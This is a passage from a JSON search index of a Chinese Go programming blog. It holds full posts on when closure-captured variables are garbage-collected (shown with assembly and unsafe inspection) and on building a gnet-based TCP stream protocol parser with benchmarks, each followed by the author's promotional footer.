1.17的新特性的同时，也不要忘了为Go语言项目做做贡献！贡献什么呢？其实很简单，就是在尝鲜的同时，对Go语言的Beta公测版以及RC发布候选版进行测试，并把遇到的问题提交到\u003ca href=\"https://github.com/golang/go/issues\"\u003eGo语言项目官方issue列表\u003c/a\u003e中去。\u003c/p\u003e","title":"一文告诉你如何帮助测试Go语言Beta公测版或RC候选发布版"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go\n1. Go函数闭包 Go语言原生提供了对闭包(closure)的支持。在Go语言中，闭包就是函数字面值。Go规范中是这样诠释闭包的：\n函数字面值(function literals)是闭包：它们可以引用其包裹函数(surrounding function)中定义的变量。然后，这些变量在包裹函数和函数字面值之间共享，只要它们可以被访问，它们就会继续存在。\n闭包在Go语言中有着广泛的应用，最常见的就是与go关键字一起联合使用创建一个新goroutine，比如下面标准库中net/http包中的一段代码：\n// $GOROOT/src/net/http/fileTransport.go 00 func (t fileTransport) RoundTrip(req *Request) (resp *Response, err error) { 01 rw, resc := newPopulateResponseWriter() 02 go func() { 03 t.fh.ServeHTTP(rw, req) 04 rw.finish() 05 }() 06 return \u0026lt;-resc, nil 07 } 上面这段代码中的RoundTrip方法就是使用go关键字结合闭包创建了一个新的goroutine，并且在这个goroutine中运行的函数还引用了本属于其外部包裹函数的变量：t、rw和req，或者说两者共享这些变量。\n原本仅在RoundTrip方法内部使用的变量一旦被“共享”给了其他函数，那么它就无法在栈上分配了，逃逸到堆上是确定性事件。\n那么问题来了！这些被引用或叫被闭包捕获的分配在堆上的外部变量何时能被回收呢？也许上面的例子还十分容易理解，当新创建的goroutine执行完毕后，这些变量就可以回收了。那么下面的闭包函数呢？\nfunc foo() func(int) int { i := []int{0: 10, 1: 11, 15: 128} return func(n int) int { n+=i[0] return n } } 在这个foo函数中，被闭包函数捕获的长度为16的切片变量i何时可以被回收呢？\n注：我们定义闭包时，喜欢用引用外部包裹函数的变量这种说法，但在Go编译器的实现代码中，使用的是capture var，翻译过来就是“被捕获的变量”，所以这里也用了“捕获”一词来表示那些被闭包共享使用的外部包裹函数甚至是更外层函数中的变量。\nfoo函数的返回值类型是一个函数，也就是说foo函数的本地变量i被foo返回的新创建的闭包函数所捕获，i不会被回收。通常一个堆上的内存对象有明确的引用它的对象或指向它的地址的指针，该对象才会继续存活，当其不可达(unreachable)时，即再没有引用它的对象或指向它的指针时才会被GC回收。\n那么，变量i究竟是被谁引用了呢？变量i将在何时被回收呢？\n我们先回头看一个非闭包的一般函数：\nfunc f1() []int { i := []int{0: 10, 1: 11, 15: 128} return i } func f2() { sl := f1() sl[0] = sl[0] + 10 fmt.Println(sl) } func main() { f2() } 我们看到f1将自己的局部切片变量i返回后，该变量被f2函数中的sl所引用，f2函数执行完成后，切片变量i将变成unreachable，GC将回收该变量对应的堆内存。\n如果换成闭包函数，比如前面的foo函数，我们很大可能是这么来用的：\n// https://github.com/bigwhite/experiments/tree/master/closure/closure1.go 1 package main 2 3 import \u0026#34;fmt\u0026#34; 4 5 func foo() func(int) int { 6 i := []int{0: 10, 1: 11, 15: 128} 7 return func(n int) int { 8 n += i[0] 9 return n 10 } 11 } 12 13 func bar() { 14 f := foo() 15 a := f(5) 16 fmt.Println(a) 17 } 18 19 func main() { 20 bar() 21 g := foo() 22 b := g(6) 23 fmt.Println(b) 24 } 在这里例子中，只要闭包函数中引用了foo函数的本地变量。这突然让我想起了“在Go中，函数也是一等公民的特性”。难道是闭包函数这一对象引用了foo函数的本地变量? 那么闭包函数在内存布局上是如何引用到foo函数的本地整型切片变量i的呢？闭包函数在内存布局中被映射为什么了呢？\n如果一门编程语言对某种语言元素的创建和使用没有限制，我们可以像对待值(value)一样对待这种语法元素，那么我们就称这种语法元素是这门编程语言的“一等公民”。\n2. Go闭包函数对象 要解答这个问题，我们只能寻求Go汇编的帮助。我们生成上面的closure1.go的汇编代码(我们使用go 1.16.5版本Go编译器)：\n$go tool compile -S closure1.go \u0026gt; closure1.s 在汇编代码中，我们找到closure1.go中第7行创建一个闭包函数所对应的汇编代码：\n// https://github.com/bigwhite/experiments/tree/master/closure/closure1.s 0x0052 00082 (closure1.go:7) LEAQ type.noalg.struct { F uintptr; \u0026#34;\u0026#34;.i []int }(SB), CX 0x0059 00089 (closure1.go:7) MOVQ CX, (SP) 0x005d 00093 (closure1.go:7) PCDATA $1, $1 0x005d 00093 (closure1.go:7) NOP 0x0060 00096 (closure1.go:7) CALL runtime.newobject(SB) 0x0065 00101 (closure1.go:7) MOVQ 8(SP), AX 0x006a 00106 (closure1.go:7) LEAQ \u0026#34;\u0026#34;.foo.func1(SB), CX 0x0071 00113 (closure1.go:7) MOVQ CX, (AX) 0x0074 00116 (closure1.go:7) MOVQ $16, 16(AX) 0x007c 00124 (closure1.go:7) MOVQ $16, 24(AX) 0x0084 00132 (closure1.go:7) PCDATA $0, $-2 0x0084 00132 (closure1.go:7) CMPL runtime.writeBarrier(SB), $0 0x008b 00139 (closure1.go:7) JNE 165 0x008d 00141 (closure1.go:7) MOVQ \u0026#34;\u0026#34;..autotmp_7+16(SP), CX 0x0092 00146 (closure1.go:7) MOVQ CX, 8(AX) 0x0096 00150 (closure1.go:7) PCDATA $0, $-1 0x0096 00150 (closure1.go:7) MOVQ AX, \u0026#34;\u0026#34;.~r0+40(SP) 0x009b 00155 (closure1.go:7) MOVQ 24(SP), BP 0x00a0 00160 (closure1.go:7) ADDQ $32, SP 0x00a4 00164 (closure1.go:7) RET 0x00a5 00165 (closure1.go:7) PCDATA $0, $-2 0x00a5 00165 (closure1.go:7) LEAQ 8(AX), DI 0x00a9 00169 (closure1.go:7) MOVQ \u0026#34;\u0026#34;..autotmp_7+16(SP), CX 0x00ae 00174 (closure1.go:7) CALL runtime.gcWriteBarrierCX(SB) 0x00b3 00179 (closure1.go:7) JMP 150 0x00b5 00181 (closure1.go:7) NOP 汇编总是晦涩难懂。我们重点看第一行：\n0x0052 00082 (closure1.go:7) LEAQ type.noalg.struct { F uintptr; \u0026#34;\u0026#34;.i []int }(SB), CX 我们看到对应到Go源码中创建闭包函数的第7行，这行汇编代码大致意思是将一个结构体对象的地址放入CX。我们把这个结构体对象摘录出来：\nstruct { F uintptr i []int } 这个结构体对象是哪里来的呢？显然是Go编译器根据闭包函数的“特征”创建出来的。其中的F就是闭包函数自身的地址，毕竟是函数，这个地址与一般函数的地址应该是在一个内存区域（比如rodata的只读数据区），那么整型切片变量i呢？难道这就是闭包函数所捕获的那个Foo函数本地变量i。没错！正是它。如果不信，我们可以再定义一个捕获更多变量的闭包函数来验证一下。\n下面是一个捕获3个整型变量的闭包函数的生成函数：\n// https://github.com/bigwhite/experiments/tree/master/closure/closure2.go func foo() func(int) int { var a, b, c int = 11, 12, 13 return func(n int) int { a += n b += n c += n return a + b + c } } 其对应的汇编代码中那个闭包函数结构为：\n0x0084 00132 (closure2.go:10) LEAQ type.noalg.struct { F uintptr; \u0026#34;\u0026#34;.a *int; \u0026#34;\u0026#34;.b *int; \u0026#34;\u0026#34;.c *int }(SB), CX 将该结构体提取出来，即：\nstruct { F uintptr a *int b *int c *int } 到这里，我们证实了引用了包裹函数本地变量的正是闭包函数自身，即编译器为其在内存中建立的闭包函数结构体对象。通过unsafe包，我们甚至可以输出这个闭包函数对象。以closure2.go为例，我们来尝试一下，如下面代码所示。\n// https://github.com/bigwhite/experiments/tree/master/closure/closure2.go func foo() func(int) int { var a, b, c int = 11, 12, 13 return func(n int) int { a += n b += n c += n return a + b + c } } type closure struct { f uintptr a *int b *int c *int } func bar() { f := foo() f(5) pc := *(**closure)(unsafe.Pointer(\u0026amp;f)) fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *pc) fmt.Printf(\u0026#34;a=%d, b=%d,c=%d\\n\u0026#34;, *pc.a, *pc.b, *pc.c) f(6) fmt.Printf(\u0026#34;a=%d, b=%d,c=%d\\n\u0026#34;, *pc.a, *pc.b, *pc.c) } 在上面代码中，我们参考汇编的输出定义了closure这个结构体来对应内存中的闭包函数对象(每种闭包对象都是不同的，一个技巧就是参考汇编输出的对象来定义)，通过unsafe的地址转换，我们将内存中的闭包对象映射到closure结构体实例上。运行上面程序，我们可以得到如下输出：\n$go run closure2.go main.closure{f:0x10a4d80, a:(*int)(0xc000118000), b:(*int)(0xc000118008), c:(*int)(0xc000118010)} a=16, b=17,c=18 a=22, b=23,c=24 在上面的例子中，闭包函数捕获了外部变量a、b和c，这些变量实质上被编译器创建的闭包内存对象所引用。当我们调用foo函数时，闭包函数对象创建（其地址赋值给变量f)。这样，f对象一直引用着变量a、b和c。只有当f被回收，a、b和c才会因unreachable而被回收。\n如果我们在闭包函数中仅仅是对捕获的外部变量进行只读操作，那么闭包函数对象不会存储这些变量的指针，而仅会做一份值拷贝。当然，如果某个变量被一个函数中创建的多个闭包所捕获，并且有的只读，有的修改，那么闭包函数对象还是会存储该变量的地址的。\n了解了闭包函数的本质，我们再来看本文标题中的问题就容易多了。其答案就是在捕捉变量的闭包函数对象被回收后，如果这些被捕捉的变量没有其他引用，它们将变为unreachable的，后续就会被GC回收了。\n3. 小结 我们回顾一下文章开头引用的Go语言规范中对闭包诠释中提到的一句话：“只要它们可以被访问，它们就会继续存在”。现在看来，我们可以将其理解为：只要闭包函数对象存在，其捕获的那些变量就会存在，就不会被回收。\n闭包函数的这种机制决定了我们在日常使用过程中也要时刻考虑着闭包函数所捕获的变量可能的“延迟回收”。如果某个场景下，闭包引用的变量占用内存较大，且闭包函数对象被创建出的数量很多且因业务需要延迟很久才会被执行(比如定时器场景)，这就会导致堆内存可能长期处于高水位，我们要考虑内存容量是否能承受这样的水位，如果不能，则要考虑更换实现方案了。\n本文涉及的所有代码可以从这里下载：https://github.com/bigwhite/experiments/tree/master/closure\n4. 参考资料 深入理解函数闭包 – https://zhuanlan.zhihu.com/p/56750616 Go语言高级编程 – https://github.com/chai2010/advanced-go-programming-book/blob/master/ch3-asm/ch3-06-func-again.md#366-闭包函数 “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/when-variables-captured-by-closures-are-recycled-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go\"\u003ehttps://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-go函数闭包\"\u003e1. Go函数闭包\u003c/h3\u003e\n\u003cp\u003eGo语言原生提供了对闭包(closure)的支持。在Go语言中，闭包就是\u003ca href=\"https://tip.golang.org/ref/spec#Function_literals\"\u003e函数字面值\u003c/a\u003e。Go规范中是这样诠释闭包的：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e函数字面值(function literals)是闭包：它们可以引用其包裹函数(surrounding function)中定义的变量。然后，这些变量在包裹函数和函数字面值之间共享，只要它们可以被访问，它们就会继续存在。\u003c/p\u003e","title":"Go中被闭包捕获的变量何时会被回收"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go\n在《Go经典阻塞式TCP协议流解析的实践》一文中，我们基于Go经典的阻塞I/O模型实现了一个基于TCP流的自定义协议的解析。这种one-connection-per-goroutine模型的优点就是简单、好写以及好理解，降低开发者心智负担。但一旦连接数上来，goroutine的数量就会线性增加。当面对海量连接的场景，这种模型将力不从心：系统中将存在大量goroutine，goroutine调度和切换的开销过多。\n那么面对海量连接场景，应该如何解决呢？业界成熟方案：使用I/O多路复用模型。了解Go net包实现的朋友想必都知晓Go在运行时底层使用的也是I/O多路复用，其实现为runtime中的netpoll。goroutine层面获得的net.Conn(无论是Accept的，还是Dial得到的)都展现出“阻塞”的特征，但这些net.Conn底层实现的fd(文件描述符)在netpoll中都是non-blocking(非阻塞)的，Go运行时负责调用epoll等多路复用机制监视这些fd是否可读或可写，并适时唤醒goroutine继续网络I/O操作，这种方式减少了系统调用，也减少了运行Goroutine的M(操作系统线程)因系统调用陷入内核态等待的频率以及因阻塞失去M而不得不去创建新线程的数量。\n那么在用户层面建立自己的I/O多路复用的不足在哪里呢？复杂，不好写，不好理解。但似乎也没有其他更好的办法。除非换语言，否则就得硬着头皮上^_^。好在，Go社区已经有几个不错的Go用户层面非阻塞I/O多路复用的开发框架库可供选择，比如：evio、gnet、easygo等。我们选择gnet。但注意：选择不代表推荐，这里仅是来做这个实践而已，是否使用gnet开发上生产的程序，需要你自己评估确定。\n1. 基于gnet开发TCP流协议解析程序 用框架的一个门槛就是你要去学习框架本身。好在gnet提供了几个很典型的examples，我们可以基于其中的custom_codec来快速开发我们的TCP流协议解析程序。\n下面是基于gnet框架实现custom codec的一个关键循环，了解这个循环，我们就知道在什么位置调用Frame编解码以及packet编解码了，这样决定了后续demo程序的结构：\n上面图中右边虚框中的frame编解码、packet编解码以及React是用户需要自己实现的，gnet框架的eventloop.loopRead方法会循环调用frame编解码和React以实现TCP流的处理以及响应的返回。有了这样一张“地图”，我们就可以明确demo程序中各个包的大致位置了。\n我们的demo改自gnet的例子custom_codec，其main包结构来自于custom_codec：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo4/cmd/server/main.go type customCodecServer struct { *gnet.EventServer addr string multicore bool async bool codec gnet.ICodec workerPool *goroutine.Pool } func (cs *customCodecServer) OnInitComplete(srv gnet.Server) (action gnet.Action) { log.Printf(\u0026#34;custom codec server is listening on %s (multi-cores: %t, loops: %d)\\n\u0026#34;, srv.Addr.String(), srv.Multicore, srv.NumEventLoop) return } func customCodecServe(addr string, multicore, async bool, codec gnet.ICodec) { var err error codec = frame.Frame{} cs := \u0026amp;customCodecServer{addr: addr, multicore: multicore, async: async, codec: codec, workerPool: goroutine.Default()} err = gnet.Serve(cs, addr, gnet.WithMulticore(multicore), gnet.WithTCPKeepAlive(time.Minute*5), gnet.WithCodec(codec)) if err != nil { panic(err) } } func main() { var port int var multicore bool // Example command: go run server.go --port 8888 --multicore=true flag.IntVar(\u0026amp;port, \u0026#34;port\u0026#34;, 8888, \u0026#34;server port\u0026#34;) flag.BoolVar(\u0026amp;multicore, \u0026#34;multicore\u0026#34;, true, \u0026#34;multicore\u0026#34;) flag.Parse() addr := fmt.Sprintf(\u0026#34;tcp://:%d\u0026#34;, port) customCodecServe(addr, multicore, false, nil) } 针对上面代码，有两点要注意：\ncustomCodecServe的第三个参数我们传入了false，即我们选择同步回复应答，而不是异步回复。 我们将自定义的frame编解码器(实现了gnet.ICodec接口)实例传给了customCodecServer实例，这样后续gnet loopRead调用的就是我们自定义的frame编解码器了。 按上面流程图的顺序，gnet从conn读取的字节流将传递给我们的frame解码器，下面我们看看基于gnet的Frame解码器的实现(我们的自定义协议定义可以参考《Go经典阻塞式TCP协议流解析的实践》一文)：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo4/pkg/frame/frame.go type Frame []byte func (cc Frame) Decode(c gnet.Conn) ([]byte, error) { // read length var frameLength uint32 if n, header := c.ReadN(4); n == 4 { byteBuffer := bytes.NewBuffer(header) _ = binary.Read(byteBuffer, binary.BigEndian, \u0026amp;frameLength) if frameLength \u0026gt; 100 { c.ResetBuffer() return nil, errors.New(\u0026#34;length value is wrong\u0026#34;) } if n, wholeFrame := c.ReadN(int(frameLength)); n == int(frameLength) { c.ShiftN(int(frameLength)) // shift frame length return wholeFrame[4:], nil // return frame payload } else { return nil, errors.New(\u0026#34;not enough frame payload data\u0026#34;) } } return nil, errors.New(\u0026#34;not enough frame length data\u0026#34;) } 上面Frame的Decode实现既负责frame解码，同时也会对frame的当前数据完整性进行校验，如果一个完整的frame尚未就绪，Decode会返回错误，之后gnet还会在连接(conn)可读时再次调用该Decode函数。这里实现的关键就是gnet.Conn.ReadN这个方法，这个方法本质上是一个Peek操作(gnet称之为lazyRead)，即只预览数据, 不挪动数据流中的“读指针”的位置。frame未完全就绪时，gnet在底层会使用RingBuffer存放已经到位的frame的部分数据。如果frame所有数据都就绪了，那么Decode会调用gnet.Conn.ShiftN方法来挪动底层RingBuffer的“读指针”的位置，表明这段数据已经被上层读取了。\n如果预读取到的frame长度过长（这里代码中的100是一个魔数，仅做demo演示之用，你可以根据实际情况使用frame可能的最大值），则会清空当前缓存并返回错误。(但gnet并没有因此而断开与客户端的连接，这块儿gnet的机制是否合理还有待商榷。)\n如果解码顺利，根据我们自定义的协议spec，我们会将frame的payload返回，即从frame的第五个字节开始返回。\n从上图看到，frame Decode返回的payload将作为输入数据传给eventHandler.React方法，这个方法也是我们自己实现的：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo4/cmd/server/main.go func (cs *customCodecServer) React(framePayload []byte, c gnet.Conn) (out []byte, action gnet.Action) { var p packet.Packet var ackFramePayload []byte p, err := packet.Decode(framePayload) if err != nil { fmt.Println(\u0026#34;react: packet decode error:\u0026#34;, err) action = gnet.Close // close the connection return } switch p.(type) { case *packet.Submit: submit := p.(*packet.Submit) fmt.Printf(\u0026#34;recv submit: id = %s, payload=%s\\n\u0026#34;, submit.ID, string(submit.Payload)) submitAck := \u0026amp;packet.SubmitAck{ ID: submit.ID, Result: 0, } ackFramePayload, err = packet.Encode(submitAck) if err != nil { fmt.Println(\u0026#34;handleConn: packet encode error:\u0026#34;, err) action = gnet.Close // close the connection return } out = []byte(ackFramePayload) return default: return nil, gnet.Close // close the connection } } 在React中，我们利用packet包对传入的frame payload进行Decode并处理得到的Packet，处理后将packet响应进行编码(encode)，编码后得到的字节序列（ackFramePayload)将作为React的第一个返回值out返回。\nframe会对React返回的ackFramePayload进行Encode，编码后的字节序列将被gnet写入outbound的tcp流中去：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo4/pkg/frame/frame.go func (cc Frame) Encode(c gnet.Conn, framePayload []byte) ([]byte, error) { result := make([]byte, 0) buffer := bytes.NewBuffer(result) // encode frame length(4+ framePayload length) length := uint32(4 + len([]byte(framePayload))) if err := binary.Write(buffer, binary.BigEndian, length); err != nil { s := fmt.Sprintf(\u0026#34;Pack length error , %v\u0026#34;, err) return nil, errors.New(s) } // encode frame payload n, err := buffer.Write(framePayload) if err != nil { s := fmt.Sprintf(\u0026#34;Pack frame payload error , %v\u0026#34;, err) return nil, errors.New(s) } if n != len(framePayload) { s := fmt.Sprintf(\u0026#34;Pack frame payload length error , %v\u0026#34;, err) return nil, errors.New(s) } return buffer.Bytes(), nil } 这样一个loopRead循环就完成了。我们可以使用《Go经典阻塞式TCP协议流解析的实践》一文中的client对该程序进行测试：\n// demo2的client $./client 2021/07/25 16:35:34 dial ok send submit id = 00000001, payload=full-bluestreak-207e the result of submit ack[00000001] is 0 send submit id = 00000002, payload=cosmic-spider-ham-2985 the result of submit ack[00000002] is 0 send submit id = 00000003, payload=true-forge-3552 the result of submit ack[00000003] is 0 // demo4的server $./server 2021/07/25 16:35:31 custom codec server is listening on :8888 (multi-cores: true, loops: recv submit: id = 00000001, payload=full-bluestreak-207e recv submit: id = 00000002, payload=cosmic-spider-ham-2985 recv submit: id = 00000003, payload=true-forge-3552 2. 压测对比 gnet针对内存分配、缓存重用等做了很多优化，我们来将其与阻塞I/O模型程序在性能上做一下简单比较(由于资源有限，我们这里的压测也和上一文中一样，采用100个client连接尽力(best effort)发送，而不是海量连接)。\n下面是demo1(阻塞I/O模型未优化）、demo3(阻塞I/O模型优化后)以及demo4(io多路复用模型）的性能对比：\n粗略来看，采用gnet I/O多路复用模型的程序(demo4)在性能上平均比阻塞I/O模型优化后的程序(demo3)高出15%~20%。\n不仅如此，通过dstat采集的系统监控数据也表明跑demo4时，cpu系统时间(sys)占用也比demo3少了5个点左右：\n跑demo3时的dstat -tcdngym输出:\n----system---- ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- ------memory-usage----- time |usr sys idl wai hiq siq| read writ| recv send| in out | int csw | used buff cach free 23-07 17:03:17| 2 1 97 0 0 0|3458B 19k| 0 0 | 0 0 | 535 2475 |1921M 225M 5354M 8386M 23-07 17:03:18| 40 45 5 0 0 11| 0 0 | 66B 54B| 0 0 | 11k 15k|1922M 225M 5354M 8384M 23-07 17:03:19| 39 46 6 0 0 9| 0 0 | 66B 1158B| 0 0 | 12k 18k|1922M 225M 5354M 8384M 23-07 17:03:20| 35 48 7 0 0 11| 0 0 | 66B 462B| 0 0 | 12k 22k|1922M 225M 5354M 8385M 23-07 17:03:21| 39 44 7 0 0 10| 0 12k| 66B 462B| 0 0 | 11k 16k|1922M 225M 5354M 8385M 23-07 17:03:22| 38 45 6 0 0 10| 0 0 | 66B 102B| 0 0 | 11k 16k|1923M 225M 5354M 8384M 23-07 17:03:23| 38 45 7 0 0 10| 0 0 | 66B 470B| 0 0 | 12k 20k|1923M 225M 5354M 8384M 23-07 17:03:24| 39 46 6 0 0 9| 0 0 | 66B 462B| 0 0 | 11k 19k|1923M 225M 5354M 8384M 跑demo4时的dstat -tcdngym输出：\n----system---- ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- ------memory-usage----- time |usr sys idl wai hiq siq| read writ| recv send| in out | int csw | used buff cach free 24-07 20:28:38| 43 42 7 0 0 8| 0 20k|1050B 14k| 0 0 | 11k 18k|1954M 234M 5959M 7738M 24-07 20:28:39| 44 41 9 0 0 7| 0 16k| 396B 7626B| 0 0 | 11k 17k|1954M 234M 5959M 7739M 24-07 20:28:40| 43 42 6 0 0 8| 0 0 | 132B 7044B| 0 0 | 11k 16k|1954M 234M 5959M 7738M 24-07 20:28:41| 42 42 8 0 0 8| 0 0 | 630B 12k| 0 0 | 12k 20k|1955M 234M 5959M 7738M 24-07 20:28:42| 45 41 7 0 0 7| 0 0 | 726B 9980B| 0 0 | 11k 16k|1955M 234M 5959M 7738M 2. 异步回应答 在上面的例子中，我们采用的是gnet同步回应答的方式，gnet还支持异步回应答的方式，即将React中得到的ackFramePayload提交给gnet创建的一个goroutine Worker池，由worker池中的某个空闲goroutine在后续将ackFramePayload编码为一个完整的ackFrame后返回给client端。\n要支持异步回应答，我们需要对demo4做几处修改（见demo5），主要修改点都在cmd/server/main.go中。\n第一处：main函数调用customCodecServe时，将第三个参数async设置为true：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo5/cmd/server/main.go func main() { ... ... customCodecServe(addr, multicore, true, nil) } 第二处：在customCodecServer的React方法中，我们得到编码后的ackFramePayload后，不要立即将其赋值给out并返回，而是判断是否要异步返回应答。如果异步返回应答，则将ackFramePayload提交给workerpool，workerPool后续会分配goroutine，并通过gnet.Conn的AsyncWrite将应答写回client。如果非异步，在将ackFramePayload赋值给out并返回。\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo5/cmd/server/main.go func (cs *customCodecServer) React(framePayload []byte, c gnet.Conn) (out []byte, action gnet.Action) { ... ... switch p.(type) { case *packet.Submit: submit := p.(*packet.Submit) fmt.Printf(\u0026#34;recv submit: id = %s, payload=%s\\n\u0026#34;, submit.ID, string(submit.Payload)) submitAck := \u0026amp;packet.SubmitAck{ ID: submit.ID, Result: 0, } ackFramePayload, err = packet.Encode(submitAck) if err != nil { fmt.Println(\u0026#34;handleConn: packet encode error:\u0026#34;, err) action = gnet.Close // close the connection return } default: return nil, gnet.Close // close the connection } if cs.async { data := append([]byte{}, ackFramePayload...) _ = cs.workerPool.Submit(func() { fmt.Println(\u0026#34;handleConn: async write ackFramePayload\u0026#34;) c.AsyncWrite(data) }) return } out = ackFramePayload return } 除此之外，其他包的代码不变。我们依然还做个压测，看看异步回应答的demo5性能究竟如何！\n从上图来看，在这个场景下通过异步回应答的方式，性能反而下降很多，甚至还不如阻塞式I/O模型的程序。对此没有做深究，但猜测可能是应答过多且同时集中回复时workerpool创建了很多goroutine，不仅没有起到池化的作用，还带来的goroutine创建和调度的开销。\n3. 小结 在本文中，我们将阻塞式I/O模型换成了I/O多路复用模型，并基于gnet框架重新实现了自定义TCP流协议的解析程序。在同步回应答的策略下，基于gnet开发TCP流协议解析程序相比于阻塞I/O模型程序的性能有一定提升。\n本文涉及的所有代码可以从这里下载：https://github.com/bigwhite/experiments/tree/master/tcp-stream-proto\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go\"\u003ehttps://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://mp.weixin.qq.com/s/NG3f-KkjtJBTVdRHQKLXOg\"\u003e《Go经典阻塞式TCP协议流解析的实践》\u003c/a\u003e一文中，我们基于Go经典的阻塞I/O模型实现了一个基于TCP流的自定义协议的解析。这种\u003cstrong\u003eone-connection-per-goroutine\u003c/strong\u003e模型的优点就是\u003cstrong\u003e简单、好写以及好理解\u003c/strong\u003e，降低开发者心智负担。但一旦连接数上来，goroutine的数量就会线性增加。当面对海量连接的场景，这种模型将力不从心：系统中将存在大量goroutine，goroutine调度和切换的开销过多。\u003c/p\u003e\n\u003cp\u003e那么面对海量连接场景，应该如何解决呢？业界成熟方案：\u003cstrong\u003e使用I/O多路复用模型\u003c/strong\u003e。了解Go net包实现的朋友想必都知晓Go在运行时底层使用的也是I/O多路复用，其实现为runtime中的\u003ca 